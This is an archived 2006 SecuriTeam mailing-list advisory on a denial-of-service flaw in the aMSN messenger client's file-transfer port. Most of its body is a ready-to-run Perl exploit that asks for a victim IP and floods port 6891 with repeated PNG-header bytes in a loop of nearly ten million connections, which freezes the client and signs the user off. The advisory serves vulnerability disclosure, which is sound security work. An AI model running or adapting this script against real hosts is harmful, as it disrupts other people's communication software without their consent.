

[EXPL] aMSN Messenger DoS (Send File)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00010.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 3 Jan 2006 10:06:15 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

aMSN Messenger DoS (Send File)

SUMMARY

<<http://amsn.sourceforge.net/>> aMSN is "a free open source MSN Messenger clone". A vulnerability in aMSN allows remote attackers to cause the client to no longer respond to legitimate requests.

DETAILS

The bug consists when the attacker sends a file via AMSN, it opens port to send and receive the file, the port that usually opens is the 6891 (can be random). The following exploit will freeze victim's client and sign him off.

Exploit:

```
#!/usr/bin/perl  
use IO::Socket;
```

```
$x = 0;
```

```
print q(  
*****  
* AMSN REMOTE DOS XPL *  
* BY *  
*****
```

[EXPL] aMSN Messenger DoS (Send File)

```
* Red-Point *
* red-point@xxxxxxxxxxxxxxxxxxxxxxxx *
*****
);

print q(Victim IP: );
$hos = <STDIN>;
chop ($hos);

print q( );
$type = seC0de;
chop ($type);

if($type == seC0de){
while($x != 9999999){

$postit = "";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$hos",
PeerPort => "6891",
Proto => "tcp",
);

die "\nEl host esta fuera de servicio o no estas conectado a internet
$!\n" unless $sock;

print $sock
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D".
"\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00".
"\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44".
"\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47".
"\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00".
"\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48".
"\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E".
"\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A".
"\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49".
"\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A".
"\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D".
"\x49\x48\x44\x52";
close($sock);
```

[EXPL] aMSN Messenger DoS (Send File)

```
syswrite STDOUT, "|";
$x++;
}
}
else{
die "\n";
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:sabes@xxxxxxxxxxxxxxxxxxxxx>>
Braulio Miguel Suarez Urquijo.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



- Prev by Date: [*\[REVS\] AIX Introduction to Heap Overflows*](#)
- Next by Date: [*\[NT\] Vulnerability in Graphics Rendering Engine Allows Remote Code Execution*](#)
- Previous by thread: [*\[REVS\] AIX Introduction to Heap Overflows*](#)
- Next by thread: [*\[NT\] Vulnerability in Graphics Rendering Engine Allows Remote Code Execution*](#)
- Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)